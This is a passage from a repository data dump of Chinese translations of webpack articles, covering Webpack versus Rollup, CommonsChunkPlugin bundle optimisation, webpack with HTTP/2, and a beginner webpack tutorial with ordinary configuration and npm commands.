Cailhol](https://medium.com/@ooflorent?source=post_page), [Tobias Koppers](https://medium.com/@sokra?source=post_page), 和[John Reilly](https://medium.com/@johnny_reilly?source=post_page).\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/webpack-and-rollup-the-same-but-different.md",
    "content": "> * 原文地址：[Webpack and Rollup: the same but different](https://medium.com/webpack/webpack-and-rollup-the-same-but-different-a41ad427058c)\n> * 原文作者：[Rich Harris](https://medium.com/@Rich_Harris?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[avocadowang](https://github.com/avocadowang),[Aladdin-ADD](https://github.com/Aladdin-ADD)\n\n# 同中有异的 Webpack 与 Rollup #\n\n![](https://cdn-images-1.medium.com/max/1000/1*rtjClMZ8sq3cLFT9Aq8Xyg.png)\n\n本周，Facebook 将一个[非常大的 pull request](https://github.com/facebook/react/pull/9327) 合并到了 React 主分支。这个 PR 将 React 当前使用的构建工具替换成了 [Rollup](https://rollupjs.org/)。这让许多人感到不解，纷纷在推特上提问：“为什么你们选择 Rollup 而不选择 Webpack 呢？”<sub>[1](https://twitter.com/stanlemon/status/849366789825994752)</sub> <sub>[2](https://twitter.com/MrMohtas/status/849362334988595201)</sub> <sub>[3](https://twitter.com/kyleholzinger/status/849683292760797184)</sub>\n\n有人问这个问题是很正常的。[Webpack](https://webpack.js.org/) 是现在 JavaScript 社区中最伟大的成功传奇之一，它有着数百万/月的下载量，驱动了成千上万的网站与应用。它有着巨大的生态系统、众多的贡献者，并且它与一般的社区开源项目不同——它有着[意义非凡的经济支持](https://opencollective.com/webpack)。\n\n相比之下，Rollup 是那么的微不足道。但是，除了 React 之外，Vue、Ember、Preact、D3、Three.js、Moment 等众多知名项目都使用了 Rollup。为什么会这样呢？为什么这些项目不使用大家一致认可的 JavaScript 模块打包工具呢？\n\n### 这两个打包工具的优缺点 ###\n\nWebpack 由 [Tobias Koppers](https://medium.com/@sokra) 在 2012 年创建，用于解决当时的工具不能处理的问题：构建复杂的单页应用（SPA）。尤其是它的两个特点改变了一切：\n\n1. **代码分割**可以将你的 app 分割成许多个容易管理的分块，这些分块能够在用户使用你的 app 时按需加载。这意味着你的用户可以有更快的交互体验。因为访问那些没有使用代码分割的应用时，必须要等待整个应用都被下载并解析完成。当然，你**也可以**自己手动去进行代码分割，但是……总之，祝你好运。\n2. **静态资源**的导入：图片、CSS 等静态资源可以直接导入到你的 app 中，就和其它的模块、节点一样能够进行依赖管理。因此，我们再也不用小心翼翼地将各个静态文件放在特定的文件夹中，然后再去用脚本给文件 URL 加上哈希串了。Webpack 已经帮你完成了这一切。\n\n而 Rollup 的开发理念则不同：它利用 ES2015 模块的巧妙设计，尽可能高效地构建精简且易分发的 JavaScript 库。而其它的模块打包器（包括 Webpack在内）都是通过将模块分别封装进函数中，然将这些函数通过能在浏览器中实现的 `require` 方法打包，最后依次处理这些函数。在你需要实现按需加载的时候，这种做法非常的方便，但是这样做引入了很多无关代码，比较浪费资源。当[你有很多模块要打包的时候，这种情况会变得更糟糕](https://nolanlawson.com/2016/08/15/the-cost-of-small-modules/)。\n\nES2015 模块则启用了一种不同的实现方法，Rollup 用的也就是这种方法。所有代码都将被放置在同一个地方，并且会在一起进行处理。因此得到的最终代码相较而言会更加的精简，运行起来自然也就更快。你可以[点击这儿亲自试试 Rollup 交互式解释器（REPL）](https://rollupjs.org/repl)。\n\n但这儿也存在一些需要权衡的点：代码分割是一个很棘手的问题，而 Rollup 并不能做到这一点。同样的，Rollup 也不支持模块热替换（HMR）。而且对于打算使用 Rollup 的人来说，还有一个最大的痛点：它通过[插件](https://github.com/rollup/rollup-plugin-commonjs)处理大多数 CommonJS 文件的时候，一些代码将无法被翻译为 ES2015。而与之相反，你可以把这一切的事全部放心交给 Webpack 去处理。\n\n### 那么我到底应该选用哪一个呢？ ###\n\n到目前为止，我们已经清晰地了解了这两个工具共存并且相互支撑的原因 — 它们应用于不同的场景。那么，现在这个问题的答案简单来说就是：\n\n> 在开发应用时使用 Webpack，开发库时使用 Rollup\n\n当然这不是什么严格的规定——有很多的网站和 app 一样是使用 Rollup 构建的，同时也有很多的库使用 Webpack。不过，这是个很值得参考的经验之谈。\n\n如果你需要进行代码分割，或者你有很多的静态资源，再或者你做的东西深度依赖 CommonJS，毫无疑问 Webpack 是你的最佳选择。如果你的代码基于 ES2015 模块编写，并且你做的东西是准备给他人使用的，你或许可以考虑使用 Rollup。\n\n### 对于包作者的建议：请使用 `pkg.module`！ ###\n\n在很长一段时间里，使用 JavaScript 库是一件有点风险的事，因为这意味着你必须和库的作者在模块系统上的意见保持一致。如果你使用 Browserify 而他更喜欢 AMD，你就不得不在 build 之前先强行将两者粘起来。[通用模块定义（UMD）](https://github.com/umdjs/umd)格式对这个问题进行了 **部分** 的修复，但是它没有强制要求在任何场景下都使用它，因此你无法预料你将会遇到什么坑。\n\nES2015 改变了这一切，因为 `import` 与 `export` 就是语言规范本身的一部分。在未来，不再会有现在这种模棱两可的情况，所有东西都将更加无缝地配合工作。不幸的是，由于大多数浏览器和 Node 还不支持 `import` 和 `export`，我们仍然需要依靠 UMD 规范（如果你只写 Node 的话也可以用 CommonJS）。\n\n现在给你的库的 package.json 文件增加一个 `\"module\": \"dist/my-library.es.js\"` 入口，可以让你的库同时支持 UMD 与 ES2015。**这很重要，因为 Webpack 和 Rollup 都使用了 `pkg.module` 来尽可能的生成效率更高的代码**——在一些情况下，它们都能使用 [tree-shake](https://webpack.js.org/guides/tree-shaking/) 来精简掉你的库中未使用的部分。\n\n*了解更多有关 `pkg.module` 的内容请访问 [Rollup wiki](https://github.com/rollup/rollup/wiki/pkg.module) 。*\n\n希望这篇文章能让你理清这两个开源项目之间的关系。如果你还有问题，可以在推特联系[rich_harris](https://twitter.com/rich_harris)、[rollupjs](https://twitter.com/rollupjs)、[thelarkinn](https://twitter.com/thelarkinn)。祝你打包快乐！\n\n感谢 Rich Harris 写了这篇文章。我们坚信开源协作是共同促进 web 技术前进的重要动力。\n\n没有时间为开源项目做贡献？想要以其它方式回馈吗？欢迎通过 [Open Collective 进行捐赠](https://opencollective.com/webpack)，成为 Webpack 的支持者或赞助商。Open Collective 不仅会资助核心团队，而且还会资助那些贡献出空闲时间帮助我们改进项目的贡献者们。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md",
    "content": "> * 原文地址：[webpack bits: Getting the most out of the CommonsChunkPlugin()](https://medium.com/webpack/webpack-bits-getting-the-most-out-of-the-commonschunkplugin-ab389e5f318#.hn8v7ul1f)\n> * 原文作者：本文已获原作者 [Sean T. Larkin](https://medium.com/@TheLarkInn) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[reid3290](https://github.com/reid3290)\n> * 校对者：[avocadowang](https://github.com/avocadowang)，[Aladdin-ADD](https://github.com/Aladdin-ADD)\n\n# webpack 拾翠：充分利用 CommonsChunkPlugin() #\n\nwebpack 核心团队隔三差五地就会在 Twitter 上作一些寓教于乐的[技术分享](https://twitter.com/TheLarkInn/status/842817690951733248)。\n\n![Markdown](http://i4.buimg.com/1949/614a949156a09f9e.png)\n\n这次的“游戏规则”很简单：安装 `webpack-bundle-analyzer`，生成一张包含所有 bundles 信息的酷炫图片分享给我，然后 webpack 团队会帮忙指出任何潜在的问题。\n\n### 我们发现了什么？ ###\n\n最常见的问题是代码重复：库、组件、代码在多个（同步的、异步的）bundles 中重复出现。\n\n### 案例一：很多重复代码的 vendor bundles ###\n\n![Markdown](http://i4.buimg.com/1949/4861f2a4f8e4ad74.png)\n\n[Swizec Teller](https://medium.com/@swizec) 分享了一个构建图（实际上是对 8-9 个独立单页应用的构建）。在众多例子中我决定选择这一个，因为我们可以从中学到很多技术，下面让我们来仔细分析一下：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*Mt5awEvcigXceRDpZRX4Dw.png\">\n\n距离 “FoamTree” 图标最近的是应用本身的代码，而其他所有 node_modules 的代码则是左边那些以 \"_vendor.js\" 结尾的。\n\n单从这幅图（不需要看实际配置文件）中我们就能推断出很多事情。\n\n每个单页应用都运用了一个 `new CommonsChunkPlugin` ，并以其 entry 和 vendor 代码为目标。这会生成两个 bundles，一个只包含 node_modules 里面的代码，另一个则只包含应用本身的代码。（Swizec Teller）甚至还提供了部分配置信息：\n\n![Markdown](http://i4.buimg.com/1949/5a6138ec9a638b46.png)\n\n    Object.keys(activeApps)\n      .map(app => new webpack.optimize.CommonsChunkPlugin({\n        name: `${app}_vendor`,\n        chunks: [app],\n        minChunks: isVendor\n      }))\n\n其中 `activeApps` 变量很可能是用来表示独立入口点的。\n\n#### 可以优化的地方 ####\n\n下面几个画圈的是可以优化的地方。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*D4m4sa9X1V05y7I7ZCMbZA.png\">\n\n#### “Meta” 缓存 ####\n\n从上图可以看出，许多大型代码库（例如 momentjs、lodash、jquery 等）同时被 6 个（甚至更多） bundles 用到了。将所有 vendors 打包到一个独立 bundle 中的策略是很好的，但其实对**所有 vendor bundles** 也应该采取同样的策略。\n\n我建议 [Swizec](https://medium.com/@swizec) 将如下插件添加到**插件数组的末尾**：\n\n    new webpack.optimize.CommonsChunkPlugin({\n      children: true, \n      minChunks: 6\n    })\n\n这是在告诉 webpack：\n\n> **嘿 webpack，请检查所有的 chunks（包括那些由 webpack 生成的 vendor chunks），找出那些在 6个及6个以上 chunks 中都出现过的模块，并将其移到一个独立的文件中。**\n\n![Markdown](http://i4.buimg.com/1949/e78d1afe76a28e8c.png)\n\n\n![Markdown](http://i4.buimg.com/1949/34e0c53c6bcbebc0.png)\n\n如你所见，现在所有符合要求的模块都被抽离到一个独立的文件中，[Swizec](https://medium.com/@swizec) 指出这个应用程序大小降低了 17%。\n\n### 案例二：异步 chunks 中的重复 vendors\n\n![Markdown](http://i4.buimg.com/1949/6c6cf1a954d205cf.png)\n\n就整体代码体积来说，这种数量的重复并不严重；但是，如果你看到下面这张完整大图，你就会发现每一个异步 chunk 中都有 3 个一模一样的模块。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*yRCgk_pzDpkMfQGKpCO_HA.jpeg\">\n\n异步 chunks 是指那些文件名中包含 \"[number].[number].js\" 的 chunk。\n\n如上图所示，四五十个异步 bundles 都用到了两三个同样的组件，我们该如何利用 `CommonsChunkPlugin` 来解决此问题呢？\n\n#### 创建一个异步 Commons Chunk ####\n\n解决方法和第一个案例中的类似，但是需要将配置选项中的 `async` 属性设为 `true`，代码如下：\n\n    new webpack.optimize.CommonsChunkPlugin({\n      async: true, \n      children: true, \n      filename: \"commonlazy.js\"\n    });\n\n类似地 —— webpack 会扫描所有 chunks 并检查公共模块。由于设置了 `async: true`，只有代码拆分的 bundles 会被扫描。因为我们并没有指明 `minChunks` 的值，所以 webpack 会取其默认值 3。综上，上述代码的含义是：\n\n> **嘿 webpack，请检查所有的普通（即懒加载的）chunks，如果某个模块出现在了 3 个或 3 个以上的 chunks 中，就将其分离到一个独立的异步公共 chunk 中去。**\n\n效果如下图所示：\n\n![Markdown](http://i4.buimg.com/1949/626cbab70072f442.png)\n\n现在异步 chunks 都非常的小，并且所有代码都被聚合到 `commonlazy.js` 文件中去了。因为这些 bundles 本来就很小了， 首次访问可能都察觉不到代码体积的变化。现在，每一个代码拆分的 bundle 所需携带的数据更少了；而且，通过将这些公共模块放到一个独立可缓存的 chunk 中，我们节省了用户加载时间，减少了需要传输的数据量（data consumption）。\n\n#### 更多控制：minChunks 函数 ####\n\n![Markdown](http://i4.buimg.com/1949/4c434dda7236e0e0.png)\n\n那如果你想要跟多的控制权呢？某些情况下你可能并不想要一个单独的共享 bundle，因为并不是每一个懒加载/入口 chunk 都要用到它。`minChunks` 属性的取值也可以是一个函数！该函数可以用作“过滤器”，决定将哪些模块加到新创建的 bundle 中去。示例如下：\n\n    new webpack.optimize.CommonsChunkPlugin({\n      filename: \"lodash-moment-shared-bundle.js\", \n      minChunks: function(module, count) { \n        return module.resource && /lodash|moment/.test(module.resource) && count >= 3\n      }\n    })\n\n上例含义是：\n\n> **呦 webpack，如果你发现某个模块的绝对路径和 lodash 或 momentjs 相匹配并且出现在了 3 个（或 3 个以上）独立的 entries/chunks 中，请将其抽取到一个独立的 bundle 中去。**\n\n通过设置 `async: true`，你也可以将此方法应用到异步 bundles 中。\n\n#### 更多更多控制\n\n![Markdown](http://i4.buimg.com/1949/4c434dda7236e0e0.png)\n\n有了这种 `minChunks`，你就可以为特定的 entries 和 bundles 生成更小的可缓存 vendors 的子集。最终，你的代码看起来大概就像这样：\n\n    function lodashMomentModuleFilter(module, count) {\n      return module.resource && /lodash|moment/.test(module.resource) && count >= 2;\n    }\n\n    function immutableReactModuleFilter(module, count) {\n      return module.resource && /immutable|react/.test(module.resource) && count >=4\n    }\n    \n    new webpack.optimize.CommonsChunkPlugin({\n      filename: \"lodash-moment-shared-bundle.js\", \n      minChunks: lodashMomentModuleFilter\n    })\n    \n    new webpack.optimize.CommonsChunkPlugin({\n      filename: \"immutable-react-shared-bundle.js\", \n      minChunks: immutableReactModuleFilter\n    })\n\n### 没有银弹！ ### \n\n`CommonsChunkPlugin()` 固然很强大，但要记住本文中的例子都是针对特定应用的。因此，在复制-粘贴这些代码片段之前，请先听听 [Sam Saccone](https://medium.com/@samccone) 、[Paul Irish](https://medium.com/@paul_irish) 和 [MPDIA](https://youtu.be/6m_E-mC0y3Y?t=11m38s) 的建议，避免用错了方法。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*ca-C6QCv9ANIJ05lR8wm_w.png\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*BGLLxCDDczXd9hxO47eTcw.png\">\n\n在应用解决方法之前，一定要理解方法背后的思路！\n\n### 哪里还有更多例子？ ###\n\n上述只是 `CommonsChunkPlugin()` 的部分用例，更多资源请参考我们 webpack/webpack core GitHub 仓库中的 `[/examples](https://github.com/webpack/webpack/tree/master/examples)` [目录](https://github.com/webpack/webpack/tree/master/examples)。如果你还有其他好想法，欢迎 [Pull Request](https://github.com/webpack/webpack/blob/master/CONTRIBUTING.md)！\n\n没时间贡献代码？希望以其他方式做贡献？向[我们的 open collective](https://opencollective.com/webpack) 捐款，即刻成为赞助商。Open Collective 不仅为核心团队提供支持，同时也帮助那些为提升我们社区质量而花费了大量宝贵的空闲时间的贡献者们！❤\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/webpack-http-2.md",
    "content": "\n> * 原文地址：[webpack & HTTP/2](https://medium.com/webpack/webpack-http-2-7083ec3f3ce6)\n> * 原文作者：[Tobias Koppers](https://medium.com/@sokra?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/webpack-http-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/webpack-http-2.md)\n> * 译者：[薛定谔的猫](https://github.com/Aladdin-ADD)\n> * 校对者：[perseveringman](https://github.com/perseveringman)、[HydeSong](https://github.com/HydeSong)\n\n# webpack & HTTP/2\n\n让我们从 HTTP/2 的一个传言开始：\n\n> 有了 HTTP/2，你就不再需要打包模块了。\n\nHTTP/2 可以多路复用，所有模块都可以并行使用同一个连接，因此多个请求不再需要多余的往返开销。每个模块都可以独立缓存。\n\n很遗憾，现实并不如意。\n\n## 以前的文章\n\n下面的文章详细解释了相关信息，并且做了一些实验来验证。你可以阅读它们（或者跳过它们，只看总结）。\n\n[**Forgo JS packaging? Not so fast** *The traditional advice for web developers is to bundle the JavaScript files used by their webpages into one or (at most…*engineering.khanacademy.org](http://engineering.khanacademy.org/posts/js-packaging-http2.htm)\n\n[**The Right Way to Bundle Your Assets for Faster Sites over HTTP/2** *Speed is always a priority in web development. With the introduction of HTTP/2, we can have increased performance for a…*medium.com](https://medium.com/@asyncmax/the-right-way-to-bundle-your-assets-for-faster-sites-over-http-2-437c37efe3ff)\n\n文章主旨：\n\n* 相比拼接为一个文件，多个文件传输仍然有 **协议开销（protocol overhead）**。\n* **压缩**成单文件优于多个小文件。\n* 相比处理单个大文件，**服务器**处理多个小文件较慢。\n\n因此我们需要在两者中间取得一个折中。我们将模块分为 n 个包，n 大于 1，小于模块数。改变其中一个模块使其缓存失效，因为相应的包只是整个应用的一部分，其它的包的缓存仍然有效。\n\n> 更多的包意味着缓存命中率更高，但不利于压缩。\n\n## AggressiveSplittingPlugin\n\nwebpack 2 为你提供了这样的工具。webpack 内部大多都是这样，将一组模块组装成块（chunk）输出一个文件。我们还有一个优化阶段可以改变这些块（chunk），只是需要一个插件来做这个优化。\n\n插件 _AggressiveSplittingPlugin_ 将原始的块分的更小。你可以指定你想要的块大小。它提高了缓存，但不利于压缩（对 HTTP/1 来说也影响传输时间）。\n\n为了结合相似的模块，它们在分离之前会按照路径的字母顺序排序。通常在同一目录下的文件往往是相关的，从压缩来看也是一样。通过这种排序，它们也就能分离到相同的块中了。\n\n对于 HTTP/2 我们现在有高效的分块方式了。\n\n## 修改应用\n\n但这还没结束。当应用更新时我们要尽量复用之前创建的块。因此每次 AggressiveSplittingPlugin 都能够找到一个合适的块大小（在限制内），并将块的**模块**（modules）和**哈希**（hash）保存到 *records* 中。\n\n> **Records** 是 webpack 编译过程中**编译状态**的概念，可以通过 JSON 文件存取。\n\n当再次调用 **AggressiveSplittingPlugin**，在尝试分离剩余模块之前，它会先尝试从 _records_ 中**恢复**块。这就确保已缓存的块能够被复用。\n\n## 启动和服务（Bootstrapping and Server）\n\n使用这项技术的应用不再输出包含在 HTML 文件中的单独文件，相反，它输出多个需要被加载的块（chunk），应用就能使用多个 script 标签（并行）加载每个块。就像这样：\n\n```\n<script src=\"1ea296932eacbe248905.js\"></script>\n<script src=\"0b3a074667143853404c.js\"></script>\n<script src=\"0dd8c061aff2a2791815.js\"></script>\n<script src=\"191b812fa5f7504151f7.js\"></script>\n<script src=\"08702f45497539ef6ea6.js\"></script>\n<script src=\"195c9326275620b0e9c2.js\"></script>\n<script src=\"19817b3a0378aedb2143.js\"></script>\n<script src=\"0e7a65e649387d773247.js\"></script>\n<script src=\"13167c9702de79d2f4fd.js\"></script>\n<script src=\"1154be40ff0e8dd16e9f.js\"></script>\n<script src=\"129ce3c198a25d9ace74.js\"></script>\n<script src=\"032d1fc9a213dfaf2c79.js\"></script>\n<script src=\"07df084bbafc95c1df47.js\"></script>\n<script src=\"15c45a570bb174ae448e.js\"></script>\n<script src=\"02099ada43bbf02a9f73.js\"></script>\n<script src=\"17bc99aaed6b9a23da78.js\"></script>\n<script src=\"02d127598b1c99dcd2d0.js\"></script>\n```\n\nwebpack按时间**先后顺序**输出这些块。最旧的文件先执行，最新的在最后。浏览器可以先执行已被缓存的块，同时加载最新的文件。旧文件更可能已经被缓存。\n\n当 HTML 文件被请求时，**HTTP/2 服务端推送**可以将这些块推送给客户端。最好能先推送最新的文件，因为旧文件更可能已经被缓存。如果已经有缓存，客户端可以取消服务端的推送，但这需要一次往返。\n\nwebpack 将代码分离用于 **按需加载**，可以处理并行请求。\n\n## 结论\n\nwebpack 2 为你提供了用于 HTTP/2 的，能改善缓存和传输的工具。不用担心你的技术栈不面向未来了。\n\n注意 _AggressiveSplittingPlugin_ 仍然是**实验特性**。\n\n我对你的使用体验很感兴趣哦~\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/webpack-your-bags.md",
    "content": ">* 原文链接 : [Webpack your bags](https://blog.madewithlove.be/post/webpack-your-bags/)\n* 原文作者 : [Maxime Fabre](https://twitter.com/anahkiasen)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [达仔](https://github.com/Zhangjd)\n* 校对者: [Malcolm](https://github.com/malcolmyu)、[L9m](https://github.com/L9m)\n\n# 让 Webpack 来帮你打包吧\n\n![](https://webpack.github.io/assets/what-is-webpack.png)\n\n你可能已经在前端社区听过这个称为 **Webpack** 的新玩意儿了。有人将它当作像 **Gulp** 的构建工具，也有人把它作为一个类似 **Browserify** 的模块管理器，如果你没有深入研究的话，你可能会因此感到困惑。但另一方面，如果你已经了解过它了，你大概还是会感到疑惑，因为官网表示 Webpack 身兼两职。\n\n实话实说，刚开始时，围绕 “什么是 Webpack” 的模棱两可的回答让我很挫败。毕竟我已经建立起一套构建系统了，并且这套系统运行良好。并且如果你也在密切关注 Javascript 生态圈的发展的话，你大概也会被过去的种种盲目跟风所伤害过。现在我知道的多一点了，我觉得我应该写下这篇文章给那些对于 Webpack 保持观望态度的人们看看到底什么是 Webpack，更重要的是，为什么 Webpack 很棒，值得我们更多的关注。\n\n## 什么是 Webpack?\n\n现在回答介绍中提出的问题：Webpack 到底是一个构建系统，还是一个模块打包器？嗯，它两种都是 —— 我的意思不是它两种工作都做，而是它把这两种工作组合起来了。Webpack 并不是帮你分别构建静态资源和打包模块，而是_把你的静态资源也当作模块本身_。\n\n更确切地说，这意味着你不需要构建你的 Sass 文件和对图片资源做优化了，只需要一边把它们都包含进来，然后打包你所有的模块，另一边在页面里引用资源。比如这样：\n\n\n```javascript\n    import stylesheet from 'styles/my-styles.scss';\n    import logo from 'img/my-logo.svg';\n    import someTemplate from 'html/some-template.html';\n\n    console.log(stylesheet); // \"body{font-size:12px}\"\n    console.log(logo); // \"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5[...]\"\n    console.log(someTemplate) // \"<html><body><h1>Hello</h1></body></html>\"\n```\n\n\n你的所有静态资源都可以被当作是模块，然后引入、修改、操作，并打包到最终的输出文件中。\n\n为了实现这个目的，你需要在 Webpack 配置文件中注册 **loaders** 。Loaders 是一些小插件，其功能基本可以归纳为“对不同的类型的文件执行不同的操作”。以下是一些 loader 的例子：\n\n\n\n    {\n      // 当你引入 .ts 后缀的文件时，使用 TypeScript 解析文件\n      test: /\\.ts/,\n      loader: 'typescript',\n    },\n    {\n      // 遇到图片文件，使用 image-webpack (封装了 imagemin) 压缩，并转换为内联 data64 URLs\n      test: /\\.(png|jpg|svg)/,\n      loaders: ['url', 'image-webpack'],\n    },\n    {\n      // 遇到 SCSS 文件，使用 node-sass 解析，然后传递给 autoprefixer，最终以 CSS 字符串的形式返回结果\n      test: /\\.scss/,\n      loaders: ['css', 'autoprefixer', 'sass'],\n    }\n\n\n\n所有 loader 最终的输出都是返回字符串。这使得 Webpack 可以把他们都打包进 Javascript 模块当中。在例子中，你的 Sass 文件经过 loader 转换，最终输出的字符串可能是这样的：\n\n\n\n    export default 'body{font-size:12px}';\n\n\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f4i0yb05tmg20dw06i4qp.gif)\n\n## 到底为什么你要那样做呢？\n\n一旦你明白了 Webpack 是什么之后，你会很快想到第二个问题：Webpack 这种做法有什么好处呢？“图像和 CSS 都在 JS 中？这到底是什么鬼！” 试想，在很长的一段时间里，我们被教导要把所有东西整合到一个文件里，这样的好处是可以减少 HTTP 请求。\n\n这种做法有一个很大的缺陷，因为现在大部分人把他们所有的静态资源打包到一个 `app.js` 文件中。这意味着在大部分时间里，打开某个特定页面，你额外加载了一大堆不必要的静态资源。如果你不想那样做的话，你很可能会把静态资源手动包含在特定页面里，导致依赖树非常混乱，难以维护和保持跟踪：这个依赖项用在哪个页面中？样式表 A 和 B 会影响哪些页面？\n\n这两种做法无关对错。可以把 Webpack 设想为一个平衡点 —— 既不只是构建系统，也不是打包器，它是一个聪明绝顶的模块打包系统。一旦合理配置好后，它甚至比你更了解你的技术栈，并帮你实现最佳的优化方案。\n\n## 让我们一起来建一个小型 app 吧\n\n为了让你更好地理解 Webpack 的好处，我们将构建一个非常小的 app，并打包所有静态资源。在这个教程中，我建议你运行 Node 4 (或者 5) 和 NPM3，因为平行依赖树会避免 Webpack 的一些坑。如果你还没安装 NPM 3，可以通过 `npm install npm@3 -g` 安装。\n\n\n\n    $ node --version\n    v5.7.1\n    $ npm --version\n    3.6.0\n\n\n\n我建议你把 `node_modules/.bin` 添加到环境变量，以避免每次输入 `node_modules/.bin/webpack` 。在下面我运行的命令中，我将不会把 `node_modules/.bin` 部分写出了。\n\n### 基本引导\n\n让我们开始创建工程和安装 Webpack。我们引入 jQuery 来演示之后的一些功能。\n\n\n\n    $ npm init -y\n    $ npm install jquery --save\n    $ npm install webpack --save-dev\n\n\n\n现在让我们创建 app 的入口文件，我们现在使用 ES5 语法：\n\n**src/index.js**\n\n\n\n    var $ = require('jquery');\n\n    $('body').html('Hello');\n\n\n\n然后创建 Webpack 配置文件，配置在 `webpack.config.js` 文件中，语法也是 Javascript ，并且需要输出一个对象。\n\n**webpack.config.js**\n\n\n\n    module.exports = {\n        entry:  './src',\n        output: {\n            path:     'builds',\n            filename: 'bundle.js',\n        },\n    };\n\n\n\n在这里，`entry` 告诉 Webpack 哪些文件是你的应用的入口点。那些文件都是你的主要文件，并且在依赖树的顶层。然后指明了输出的打包文件位于 `builds` 目录的 `bundle.js` 文件中。接下来让我们相应地创建首页的 HTML 文件。\n\n\n```HTML\n    <!DOCTYPE html>\n    <html>\n    <body>\n        <h1>My title</h1>\n        <a>Click me</a>\n\n        <script src=\"builds/bundle.js\"></script>\n    </body>\n    </html>\n```\n\n\n现在运行 Webpack，如果所有步骤都没有出错，我们会得到一下信息，告诉我们 `bundle.js` 已经编译好了。\n\n\n\n    $ webpack\n    Hash: d41fc61f5b9d72c13744\n    Version: webpack 1.12.14\n    Time: 301ms\n        Asset    Size  Chunks             Chunk Names\n    bundle.js  268 kB       0  [emitted]  main\n       [0] ./src/index.js 53 bytes {0} [built]\n        + 1 hidden modules\n\n\n\n这里你可以看到 Webpack 告诉你，`bundle.js` 包含了我们的入口点 (`index.js`) 和一个隐藏的模块，也就是 jQuery。默认情况下，Webpack 不会显示那些不是你的模块，想要看见 Webpack 编译好的所有模块，可以加上 `--display-modules` 选项：\n\n\n\n    $ webpack --display-modules\n    bundle.js  268 kB       0  [emitted]  main\n       [0] ./src/index.js 53 bytes {0} [built]\n       [1] ./~/jquery/dist/jquery.js 259 kB {0} [built]\n\n\n\n你还可以运行 `webpack --watch` ，使 webpack 自动监听你的文件改变，按需重新编译。\n\n### 设置我们的第一个 loader\n\n还记得我们提到 Webpack 是如何输入 CSS、HTML 和其他内容的吗？他们适合在哪些地方？如果你在关注最近几年 Web Components 的巨大变化 (Angular 2, Vue, React, Polymer, X-Tag 等)，你可能会听说过这种思路 —— 使用一套可重用、相互独立的 UI 组件，称为 web components（我在这里不做详述，读者明白意思就好），代替一套完整的、相互连接的 UI。现在，为了让组件真正地相互独立开，必须在组件内部打包其所有的依赖。\n\n现在开始写我们的按钮：首先，我猜你们大部分人现在更习惯使用 